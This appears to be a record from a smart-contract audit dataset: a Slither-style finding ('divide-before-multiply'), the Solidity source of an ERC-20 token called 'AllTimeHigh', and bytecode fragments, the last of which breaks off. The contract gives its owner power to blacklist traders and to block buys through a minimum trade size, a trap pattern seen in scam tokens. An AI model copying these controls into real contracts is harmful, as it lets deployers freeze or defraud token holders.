5191528c6040518082815260200191505060405180910390a3604080518a81529051600160a060020a038d16917ff97a274face0b5517365ad396b1fdba6f68bd3135ef603e44272adba3af5a1e0919081900360200190a25050505050505050505050565b600b54620100009004600160a060020a031633146110bb57600080fd5b600991909155600a55565b600b54600090620100009004600160a060020a031633146110e657600080fd5b503060008131116110f657600080fd5b600b54604051600160a060020a036201000090920482169183163180156108fc02916000818181858888f19350505050158015611137573d6000803e3d6000fd5b50600b5460408051600160a060020a0384811631825291516201000090930491909116913091600080516020611959833981519152919081900360200190a350565b60085481565b600b54620100009004600160a060020a0316331461119c57600080fd5b600592909255600655600755565b600b54620100009004600160a060020a031633146111c757600080fd5b600b54610100900460ff1615806111df575060055442105b806111eb575060075442115b15156111f657600080fd5b600b5460ff16151561120757600080fd5b600b805461ff0019166101001790556040517fd5b089eb0ec44264fc274d9a4adaafa6bfe78bdbeaf4b128d6871d5314057c5690600090a1565b600b54600090620100009004600160a060020a0316331461126157600080fd5b815160ff101561127057600080fd5b5060005b81518160ff16101561131357600d6000838360ff1681518110151561129557fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16151561130b576001600d6000848460ff168151811015156112d857fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff19169115159190911790555b600101611274565b5050565b600160a060020a03166000908152600f602052604090205490565b60045481565b600b54620100009004600160a060020a0316331461135557600080fd5b600b5460ff16151561136657600080fd5b600b805460ff191690556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600a5481565b600b54610100900460ff1681565b600b54620100009004600160a060020a031633146113cc57600080fd5b600b54610100900460ff1680156113e557506005544210155b80156113f357506007544211155b15156113fe57600080fd5b600b5460ff16151561140f57600080fd5b600b805461ff00191690556040517fb9248e98c8764c68b0d9dd60de677553b9c38a5a521bbb362bb6f5aab6937e8990600090a1565b60075481565b600d6020526000908152604090205460ff1681565b600b54620100009004600160a060020a0316331461147d57600080fd5b336000908152600f602052604090205481111561149957600080fd5b600160a060020a0382166000908152600f60205260409020546114c2908263ffffffff6118de16565b600160a060020a0383166000908152600f60205260409020556002546114ee908263ffffffff6118de16565b60028190556000549081151561150057fe5b04600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600b546000908190819060ff16151561155f57600080fd5b6040604436101561156c57fe5b600160a060020a038616151561158157600080fd5b61158a33611783565b336000908152600f60205260409020549093506115ad908463ffffffff6118de16565b9150818511156115bc57600080fd5b336000908152600f60205260409020546115dc908663ffffffff6118de16565b336000908152600f602052604080822092909255600160a060020a0388168152205461160e908663ffffffff6118a416565b600160a060020a0387166000818152600f60209081526040918290209390935580518881529051919233926000805160206119598339815191529281900390910190a350600195945050505050565b600b54600090620100009004600160a060020a0316331461167d57600080fd5b825160ff101561168c57600080fd5b815183511461169a57600080fd5b5060005b82518160ff161015610a5a576116e8838260ff168151811015156116be57fe5b90602001906020020151838360ff168151811015156116d957fe5b90602001906020020151610a5f565b60010161169e565b600b54620100009004600160a060020a0316331461170d57600080fd5b600b5460ff161561171d57600080fd5b600b805460ff191660011790556040517ff999e0378b31fd060880ceb4bc403bc32de3d1000bee77078a09c7f1d929a51590600090a1565b60055481565b600b54620100009004600160a060020a0316331461177857600080fd5b600391909155600455565b600160a060020a0381166000908152600f602052604081208142815b60018401548110156117f557600284018054829081106117bb57fe5b90600052602060002001548210156117ed57600184018054829081106117dd57fe5b9060005260206000200154830192505b60010161179f565b5090949350505050565b60035481565b600b5460ff1681565b600160a060020a039182166000908152600c6020908152604080832093909416825291909152205490565b60095481565b60065481565b600b54620100009004600160a060020a0316331461186257600080fd5b600160a060020a038116156118a157600b805475ffffffffffffffffffffffffffffffffffffffff0000191662010000600160a060020a038416021790555b50565b6000828201838110156118b357fe5b9392505050565b60008282028315806118d657508284828115156118d357fe5b04145b15156118b357fe5b6000828211156118ea57fe5b50900390565b82805482825590600052602060002090810192821561192b579160200282015b8281111561192b578251825591602001919060010190611910565b5061193792915061193b565b5090565b61195591905b808211156119375760008155600101611941565b905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820ffc010975fa42c2b929d31b426be9c22e674bce93cd33fb66ef1b444665b2f820029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,065 |
0x74397f37540dba2a9218ae4a4dfeeb1d2b76091f
|
/**
*Submitted for verification at Etherscan.io on 2021-07-28
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
contract AllTimeHigh is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint256) private sellcooldown;
mapping (address => uint256) private buycooldown;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _ATHPrice;
uint256 private _ATHResetPrice;
uint256 private _ATHResetPercent;
uint256 private _maxTxAmount = _tTotal;
uint256 private _minTxAmount = 0;
uint8 private _ATHFee = 0;
uint8 private _devFee = 0;
uint8 private _previousATHFee = _ATHFee;
uint8 private _previousDevFee = _devFee;
address payable private _devWallet;
address payable private _ATHWallet;
address payable private _marketingWallet;
string private constant _name = unicode"All Time High \xE2\x8A\x99_\xE2\x98\x89";
string private constant _symbol = "ATH";
uint8 private constant _decimals = 18;
IUniswapV2Router02 private uniswapV2Router;
IUniswapV2Pair private uniswapV2Pair;
address private _uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event ATHUpdated(uint256 _ATHPrice, address _ATHWallet);
event MaxTxAmountUpdated(uint256 _maxTxAmount);
event MinTxAmountUpdated(uint256 _minTxAmount);
event ATHPayout (uint256 amount, address _ATHWallet);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
receive() external payable {}
constructor (address mktWallet) {
_devWallet = payable(_msgSender());
_ATHWallet = payable(0);
_marketingWallet = payable(mktWallet);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_devWallet] = true;
_isExcludedFromFee[_marketingWallet] = true;
_ATHPrice = 0;
_ATHResetPrice = 0;
_ATHResetPercent = 30;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function ATHPrice() public view returns (uint256) {
return _ATHPrice;
}
function ATHWallet() public view returns (address) {
return _ATHWallet;
}
function pairAddress() public view returns (address) {
return _uniswapV2Pair;
}
function ATHResetPrice() public view returns (uint256) {
return _ATHResetPrice;
}
function maxTxAmount() public view returns (uint256) {
return _maxTxAmount;
}
function minTxAmount() public view returns (uint256) {
return _minTxAmount;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if (owner != address(this)) {
require(tradingOpen, "Trading not open yet");
}
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == _uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
// Buying
require(tradingOpen, "Trading not open yet");
require(amount <= _maxTxAmount, "Buy amount exceeds max TX amount");
require(amount >= _minTxAmount, "Buy amount under min TX amount");
require(buycooldown[to] < block.timestamp, "Buying again too soon");
sellcooldown[to] = block.timestamp + (5 minutes);
buycooldown[to] = block.timestamp + (3 minutes);
uint256 currentPrice = getPrice();
if (currentPrice > _ATHPrice) {
// new ATH has been reached
_ATHWallet = payable(to);
_ATHPrice = currentPrice;
_ATHResetPrice = currentPrice.sub(currentPrice.mul(_ATHResetPercent).div(10**2));
emit ATHUpdated(_ATHPrice, _ATHWallet);
}
}
if (from == _ATHWallet) {
// Our ATH wallet holder is selling/transferring,
// reset price so next buyer becomes ATH holder.
_ATHPrice = 0;
_ATHWallet = payable(0);
emit ATHUpdated(_ATHPrice, _ATHWallet);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != _uniswapV2Pair && swapEnabled) {
require(sellcooldown[from] < block.timestamp, "Selling too soon");
// Check to see if price has gone below ATH Reset price.
uint256 currentPrice = getPrice();
if (currentPrice < _ATHResetPrice) {
_ATHPrice = 0;
_ATHWallet = payable(0);
_ATHResetPrice = 0;
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0 && _ATHWallet != address(0)) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount, takeFee);
}
function airDrop(address[] calldata _addresses, uint256[] calldata _amounts) payable public onlyOwner() {
require(!tradingOpen);
require(_addresses.length == _amounts.length);
for (uint8 i; i < _addresses.length; i++) {
_tokenTransfer(address(this), _addresses[i], _amounts[i], false);
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
uint256 athAmount = amount.mul(50).div(100);
_ATHWallet.transfer(athAmount);
_devWallet.transfer(amount.mul(33).div(100));
_marketingWallet.transfer(amount.mul(17).div(100));
emit ATHPayout(athAmount, _ATHWallet);
}
function createPair() public onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
_uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(_uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);
}
function openTrading() public onlyOwner(){
require(!tradingOpen, "trading is already open");
swapEnabled = true;
tradingOpen = true;
_ATHFee = 3;
_devFee = 3;
}
function setATHResetPercent(uint256 newResetPercent) external onlyOwner() {
_ATHResetPercent = newResetPercent;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setMktWallet(address payable newMktWallet) external onlyOwner() {
_marketingWallet = payable(newMktWallet);
}
function setMinTxAmount(uint256 minAmount) external onlyOwner() {
require(minAmount > 0, "Amount must be greater than 0");
_minTxAmount = minAmount;
emit MinTxAmountUpdated(_minTxAmount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
_removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
_restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _removeAllFee() private {
if(_ATHFee == 0 && _devFee == 0) return;
_previousATHFee = _ATHFee;
_previousDevFee = _devFee;
_ATHFee = 0;
_devFee = 0;
}
function _restoreAllFee() private {
_ATHFee = _previousATHFee;
_devFee = _previousDevFee;
}
function manualswap() external {
require(_msgSender() == _devWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _devWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function getPrice() public view returns (uint256) {
require(tradingOpen,"trading isn't open");
IUniswapV2Pair pair = IUniswapV2Pair(_uniswapV2Pair);
(uint112 token0, uint112 token1,) = pair.getReserves();
(uint256 tokenReserves, uint256 ethReserves) = (address(this) < uniswapV2Router.WETH()) ? (token0, token1) : (token1, token0);
return ethReserves.mul(10000000000).div(tokenReserves);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _devFee, _ATHFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101c65760003560e01c806370a08231116100f75780639ece25ff11610095578063c3c8cd8011610064578063c3c8cd80146105f8578063c9567bf91461060f578063d543dbeb14610626578063dd62ed3e1461064f576101cd565b80639ece25ff1461053e578063a8b0898214610567578063a9059cbb14610592578063b515566a146105cf576101cd565b80638da5cb5b116100d15780638da5cb5b146104a657806395d89b41146104d157806398d5fdca146104fc5780639e78fb4f14610527576101cd565b806370a0823114610427578063715018a6146104645780638c0b5e221461047b576101cd565b806323b872dd11610164578063313ce5671161013e578063313ce5671461039e57806361a63d31146103c957806365216a41146103f45780636fc3eaec14610410576101cd565b806323b872dd1461030d578063273123b71461034a57806328670a1214610373576101cd565b806315133c49116101a057806315133c491461026357806318160ddd1461028e57806318d7df12146102b957806321588d90146102e2576101cd565b8063065e812b146101d257806306fdde03146101fb578063095ea7b314610226576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101f960048036038101906101f491906137d3565b61068c565b005b34801561020757600080fd5b50610210610765565b60405161021d9190613ef1565b60405180910390f35b34801561023257600080fd5b5061024d60048036038101906102489190613893565b6107a2565b60405161025a9190613ed6565b60405180910390f35b34801561026f57600080fd5b506102786107c0565b6040516102859190614133565b60405180910390f35b34801561029a57600080fd5b506102a36107ca565b6040516102b09190614133565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db9190613a1d565b6107dc565b005b3480156102ee57600080fd5b506102f76108f7565b6040516103049190613e08565b60405180910390f35b34801561031957600080fd5b50610334600480360381019061032f9190613840565b610921565b6040516103419190613ed6565b60405180910390f35b34801561035657600080fd5b50610371600480360381019061036c9190613779565b6109fa565b005b34801561037f57600080fd5b50610388610aea565b6040516103959190614133565b60405180910390f35b3480156103aa57600080fd5b506103b3610af4565b6040516103c091906141d1565b60405180910390f35b3480156103d557600080fd5b506103de610afd565b6040516103eb9190614133565b60405180910390f35b61040e600480360381019061040991906138d3565b610b07565b005b34801561041c57600080fd5b50610425610c44565b005b34801561043357600080fd5b5061044e60048036038101906104499190613779565b610cb6565b60405161045b9190614133565b60405180910390f35b34801561047057600080fd5b50610479610d07565b005b34801561048757600080fd5b50610490610e5a565b60405161049d9190614133565b60405180910390f35b3480156104b257600080fd5b506104bb610e64565b6040516104c89190613e08565b60405180910390f35b3480156104dd57600080fd5b506104e6610e8d565b6040516104f39190613ef1565b60405180910390f35b34801561050857600080fd5b50610511610eca565b60405161051e9190614133565b60405180910390f35b34801561053357600080fd5b5061053c6110fd565b005b34801561054a57600080fd5b5061056560048036038101906105609190613a1d565b6115f8565b005b34801561057357600080fd5b5061057c611697565b6040516105899190613e08565b60405180910390f35b34801561059e57600080fd5b506105b960048036038101906105b49190613893565b6116c1565b6040516105c69190613ed6565b60405180910390f35b3480156105db57600080fd5b506105f660048036038101906105f19190613954565b6116df565b005b34801561060457600080fd5b5061060d611809565b005b34801561061b57600080fd5b50610624611883565b005b34801561063257600080fd5b5061064d60048036038101906106489190613a1d565b6119d5565b005b34801561065b57600080fd5b5061067660048036038101906106719190613800565b611b1f565b6040516106839190614133565b60405180910390f35b610694611ba6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610721576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071890614053565b60405180910390fd5b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280601581526020017f416c6c2054696d65204869676820e28a995fe298890000000000000000000000815250905090565b60006107b66107af611ba6565b8484611bae565b6001905092915050565b6000600b54905090565b600069d3c21bcecceda1000000905090565b6107e4611ba6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610871576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086890614053565b60405180910390fd5b600081116108b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ab90613fb3565b60405180910390fd5b80600e819055507f78410bdbc81290e237844d4d5be2c2a1d0cb831a4618405dc2a92c85a20712f7600e546040516108ec9190614133565b60405180910390a150565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600061092e848484611dfa565b6109ef8461093a611ba6565b6109ea85604051806060016040528060288152602001614a8b60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109a0611ba6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128039092919063ffffffff16565b611bae565b600190509392505050565b610a02611ba6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8690614053565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600e54905090565b60006012905090565b6000600a54905090565b610b0f611ba6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9390614053565b60405180910390fd5b60148054906101000a900460ff1615610bb457600080fd5b818190508484905014610bc657600080fd5b60005b848490508160ff161015610c3d57610c2a3086868460ff16818110610bf157610bf06145b5565b5b9050602002016020810190610c069190613779565b85858560ff16818110610c1c57610c1b6145b5565b5b905060200201356000612867565b8080610c359061452d565b915050610bc9565b5050505050565b600f60049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c85611ba6565b73ffffffffffffffffffffffffffffffffffffffff1614610ca557600080fd5b6000479050610cb381612894565b50565b6000610d00600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aa5565b9050919050565b610d0f611ba6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9390614053565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600d54905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4154480000000000000000000000000000000000000000000000000000000000815250905090565b600060148054906101000a900460ff16610f19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1090614113565b60405180910390fd5b6000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000808273ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610f8957600080fd5b505afa158015610f9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc191906139ca565b5091509150600080601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561103157600080fd5b505afa158015611045573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106991906137a6565b73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff16106110a25782846110a5565b83835b6dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff1691506110f3826110e56402540be40084612b1390919063ffffffff16565b612b8e90919063ffffffff16565b9550505050505090565b611105611ba6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611192576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118990614053565b60405180910390fd5b60148054906101000a900460ff16156111e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d7906140f3565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061127130601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda1000000611bae565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156112b757600080fd5b505afa1580156112cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ef91906137a6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561135157600080fd5b505afa158015611365573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138991906137a6565b6040518363ffffffff1660e01b81526004016113a6929190613e23565b602060405180830381600087803b1580156113c057600080fd5b505af11580156113d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f891906137a6565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061148130610cb6565b60008061148c610e64565b426040518863ffffffff1660e01b81526004016114ae96959493929190613e75565b6060604051808303818588803b1580156114c757600080fd5b505af11580156114db573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115009190613a4a565b505050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016115a2929190613e4c565b602060405180830381600087803b1580156115bc57600080fd5b505af11580156115d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115f4919061399d565b5050565b611600611ba6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461168d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168490614053565b60405180910390fd5b80600c8190555050565b6000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006116d56116ce611ba6565b8484611dfa565b6001905092915050565b6116e7611ba6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176b90614053565b60405180910390fd5b60005b815181101561180557600160076000848481518110611799576117986145b5565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806117fd906144e4565b915050611777565b5050565b600f60049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661184a611ba6565b73ffffffffffffffffffffffffffffffffffffffff161461186a57600080fd5b600061187530610cb6565b905061188081612bd8565b50565b61188b611ba6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffff